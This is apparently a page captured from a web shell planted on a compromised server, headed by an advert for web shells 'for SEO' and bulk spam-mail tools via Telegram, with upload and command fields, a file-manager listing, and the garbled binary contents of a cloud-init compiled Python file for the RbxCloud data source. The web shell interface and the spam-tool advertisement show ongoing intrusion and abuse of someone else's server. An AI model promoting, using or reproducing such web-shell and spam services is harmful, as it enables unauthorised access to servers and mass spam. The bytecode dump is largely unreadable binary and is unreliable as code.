__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[hg��6�SrSSKrSSKrSSKrSSKrSSKrSSKJr SSKJ	r	J
r
Jr SSKJ
r
Jr \R"\5rSrSrS\S	\4S
jrS	\R.\4SjrSrS
rSrSrSr"SS\	R<5r\\	R@44/r!Sr"g)zr
This file contains code used to gather the user data passed to an
instance on rootbox / hyperone cloud platforms
�N)�IPv4Address)�sources�subp�util)�
EventScope�	EventTypez
/etc/hostsc��[R"[SS9nU(a[R	S5 g[R	S5 g)NT)�quietz5/etc/hosts exists - setting manage_etc_hosts to FalseFz=/etc/hosts does not exists - setting manage_etc_hosts to True)r�load_text_file�	ETC_HOSTS�LOG�debug)�hostss �F/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceRbxCloud.py�get_manage_etc_hostsrs7�����	��6�E���	�	�I�J���I�I�M�N���inc�returnc	�T�[[[[U55U-55$�N)�strr�int)�addrrs  r�increment_ipr#s!���{�3�{�4�0�1�C�7�8�9�9rc�4�U[US5[US5/$)z�Return a list of 3 IP addresses: [addr, addr + 2, addr + 3]

@param addr: an object that is passed to IPvAddress
@return: list of strings
��)r)rs r�
get_three_ipsr's%��	
��T�1���T�1���rc�6�[R"S/U-5$)z�
Uses the preferred cloud-init subprocess def of subp.subp
and runs arping.  Breaking this to a separate function
for later use in mocking and unittests
�arping)r)�cmds r�_sub_arpr"4s���9�9�h�Z�#�%�&�&rc	���SnURS;aSnUHn[SSX#SUS/5 M g![Ra)n[RSUSUSU5 SnAMVSnAff=f)	Nz-S)�fedora�centos�rhelz-sz-c�2�source�destinationz&Failed to arping from "%s" to "%s": %s)�namer"r�ProcessExecutionErrorr
�warning)�items�distro�source_param�item�errors     r�gratuitous_arpr2=s����L�
�{�{�2�2�����
	���s�L�x�.�$�}�:M�N�
���
�)�)�		�
�K�K�8��X���]�#��	
�
��			�s�5�A2�	A-�-A2c��[[R"S5[R"S5-5nU(dgUH+n[R"U[/SQS9nU(aUs $M- [RSS	RU55 g![
a*nUR[R:waeSnAM�SnAf[Ra  [R"[SU5 M�f=f)
zAReturns False (not found or error) or a dictionary with metadata.z
LABEL=CLOUDMDz
LABEL=cloudmdF)�vfat�fat�msdosfs)�device�callback�mtypeNz-Failed to mount %s when looking for user dataz0Did not find RbxCloud data, searched devices: %s�,)
�setr�find_devs_with�mount_cb�read_user_data_callback�OSError�errno�ENOENT�MountFailedError�logexcr
r�join)�devicesr7�rbx_data�errs    r�get_mdrHRs�������O�,�
�
�
�o�
.�	/��G�����	��}�}��0�0��H�
�����"�I�I�:�C�H�H�W�<M�����	��y�y�E�L�L�(��)���$�$�	��K�K��D�f�
�	�s�$B�
C<� C�3C<�;C<c�&�S[U5VVVs/sHhupSSR[U55USR5USVs/sH$nSUSUSS	S
USSUSSS
S.PM& snS.PMj snnnS.$s snfs snnnf)zGenerate network configuration

@param netadps: A list of network adapter settings

@returns: A dict containing network config
��physicalzeth{}�
macaddress�ip�static�address�network�netmask�auto�gateway�dns�nameservers)�typerOrQ�controlrS�dns_nameservers)rVr*�mac_address�subnets)�version�config)�	enumerate�formatr�lower)�netadps�i�netadprMs    r�generate_network_configrcqs����('�w�/�'
�&0�	��##����s�1�v�.�%�l�3�9�9�;�%�T�l��+��!)�#%�i�=�#)�)�#4�Y�#?�#)�#)�)�#4�Y�#?�+1�)�+<�U�+C�)�,�
	�+��	
�$0�'
������
s�;B
�+B�7	B
�B
c
��[R"[R"[RRUS5S9S9n[R"[RRUS5SS9nSU;dSU;a[R"[S	5 g
URS05RS5nURS05RS
/5nS
nURS05RS5(aUSSSn[US5nUUSSUSS/S.USVVV	s/sH1nUSH$n[USS5Hn	USU	S.PM
 M& M3 sn	nnSSSUUS/USUS.0U[5S.S.n
[RS5 [RU
5 U
$s sn	nnf)z�This callback will be applied by util.mount_cb() on the mounted
drive.

@param mount_dir: String representing path of directory where mounted drive
is available

@returns: A dict containing userdata, metadata and cfg based on metadata.
z
cloud.json)�fname)�textz	user.dataT)rer
�vmrbz(Failed to load metadata. Invalid format.N�additionalMetadata�username�sshKeys�password�sha512�_idr*)zinstance-idzlocal-hostname�public-keysrMrPrSrO)r(r)�default_userzALL=(ALL) NOPASSWD:ALLF)r*�gecos�sudo�passwd�lock_passwd�ssh_authorized_keys)�
ssh_pwauth�disable_root�system_info�network_config�manage_etc_hosts)�userdata�metadatar2�cfgzreturning DATA object:)r�	load_json�load_binary_file�os�pathrDrrCr
�getrcrrr)�	mount_dir�	meta_data�	user_datari�ssh_keys�hashrPrbrM�target�datas           rr>r>�s������
�
"�
"������i��)N�
O��I��#�#��g�g�l�l�9�k�2�$��I��9���	� 9����C�C�D���}�}�1�2�6�:�:�:�F�H��}�}�1�2�6�:�:�9�b�I�H��D��}�}�)�2�.�2�2�:�>�>��-�.�z�:�8�D��%�i��&9�:�G��$�T�?�5�1�'��o�f�5��
�$�H�-�
�-���T�l��'��y�(9�)�(D�E���)�}�V�<�F�
=�"�
=�-�
�� ��$�%�5�6�"�#(�+3�
!�	�&� 4� 6�
��D�>�I�I�&�'��I�I�d�O��K��7
s�?8Gc��\rSrSrSr\R\R\R\R10rSrSr
Sr\S5rSrSrS	rS
rSrg)
�DataSourceRbxCloud���RbxCloudc�n�[RRXX#5 SUlSUlSUlgr)r�
DataSource�__init__�seedr2r|)�self�sys_cfgr.�pathss    rr��DataSourceRbxCloud.__init__�s.�����#�#�D�6�A���	�"�����rc�h�[RRU5nU<SUR<S3$)Nz [seed=�])rr��__str__r�)r��roots  rr��DataSourceRbxCloud.__str__�s'���!�!�)�)�$�/��!%�t�y�y�1�1rc�t�[5nUSLagUSUlUSUlUSUlUSUlg)z_
Metadata is passed to the launching instance which
is used to perform instance configuration.
Frzr{r2r|T)rH�userdata_rawr{r2r|)r�rFs  r�	_get_data�DataSourceRbxCloud._get_data�sK��
�8���u���$�Z�0��� ��,��
�&�'7�8����E�?���rc� �URS$)Nrx�r|�r�s rrx�!DataSourceRbxCloud.network_config�s���x�x�(�)�)rc� �URS$)Nrn)r{r�s r�get_public_ssh_keys�&DataSourceRbxCloud.get_public_ssh_keys�s���}�}�]�+�+rc��UR$r)r�r�s r�get_userdata_raw�#DataSourceRbxCloud.get_userdata_raw�s��� � � rc��UR$rr�r�s r�get_config_obj�!DataSourceRbxCloud.get_config_obj�s���x�x�rc�D�[URUR5 gr)r2r.)r�r|�is_new_instances   r�activate�DataSourceRbxCloud.activates���t�*�*�D�K�K�8r)r|r2r{r�r�N)�__name__�
__module__�__qualname__�__firstlineno__�dsnamer�NETWORKr�BOOT_NEW_INSTANCE�BOOT�BOOT_LEGACY�default_update_eventsr�r�r��propertyrxr�r�r�r��__static_attributes__�rrr�r��sm��
�F�����'�'��N�N��!�!�
����2���*��*�,�!��9rr�c�8�[R"U[5$r)r�list_from_depends�datasources)�dependss r�get_datasource_listr�s���$�$�W�k�:�:r)#�__doc__r@�loggingr�os.path�typing�	ipaddressr�	cloudinitrrr�cloudinit.eventrr�	getLoggerr�r
rrrrr�Listrr"r2rHrcr>r�r��DEP_FILESYSTEMr�r�r�rr�<module>r�s����
��	��
�!�)�)�1�
����!���	��:�C�:�C�:�
�6�;�;�s�+�
�'��*�>�B=�@09��+�+�09�j�'�0�0�2�3���;r

Filemanager

Name Type Size Permission Actions
DataSourceAkamai.cpython-313.pyc File 12.33 KB 0644
DataSourceAliYun.cpython-313.pyc File 18.33 KB 0644
DataSourceAltCloud.cpython-313.pyc File 9.85 KB 0644
DataSourceAzure.cpython-313.pyc File 79.75 KB 0644
DataSourceBigstep.cpython-313.pyc File 2.86 KB 0644
DataSourceCloudCIX.cpython-313.pyc File 7.22 KB 0644
DataSourceCloudSigma.cpython-313.pyc File 5.18 KB 0644
DataSourceCloudStack.cpython-313.pyc File 13.11 KB 0644
DataSourceConfigDrive.cpython-313.pyc File 14.2 KB 0644
DataSourceDigitalOcean.cpython-313.pyc File 6.2 KB 0644
DataSourceEc2.cpython-313.pyc File 43.31 KB 0644
DataSourceExoscale.cpython-313.pyc File 8.9 KB 0644
DataSourceGCE.cpython-313.pyc File 16.12 KB 0644
DataSourceHetzner.cpython-313.pyc File 6.46 KB 0644
DataSourceIBMCloud.cpython-313.pyc File 18.43 KB 0644
DataSourceLXD.cpython-313.pyc File 20.3 KB 0644
DataSourceMAAS.cpython-313.pyc File 18.29 KB 0644
DataSourceNWCS.cpython-313.pyc File 6.76 KB 0644
DataSourceNoCloud.cpython-313.pyc File 17.26 KB 0644
DataSourceNone.cpython-313.pyc File 1.88 KB 0644
DataSourceOVF.cpython-313.pyc File 15.34 KB 0644
DataSourceOpenNebula.cpython-313.pyc File 18.96 KB 0644
DataSourceOpenStack.cpython-313.pyc File 13.1 KB 0644
DataSourceOracle.cpython-313.pyc File 21.77 KB 0644
DataSourceRbxCloud.cpython-313.pyc File 10.25 KB 0644
DataSourceScaleway.cpython-313.pyc File 17.07 KB 0644
DataSourceSmartOS.cpython-313.pyc File 38.32 KB 0644
DataSourceUpCloud.cpython-313.pyc File 7.11 KB 0644
DataSourceVMware.cpython-313.pyc File 35.8 KB 0644
DataSourceVultr.cpython-313.pyc File 5.79 KB 0644
DataSourceWSL.cpython-313.pyc File 15.48 KB 0644
__init__.cpython-313.pyc File 47.24 KB 0644
Filemanager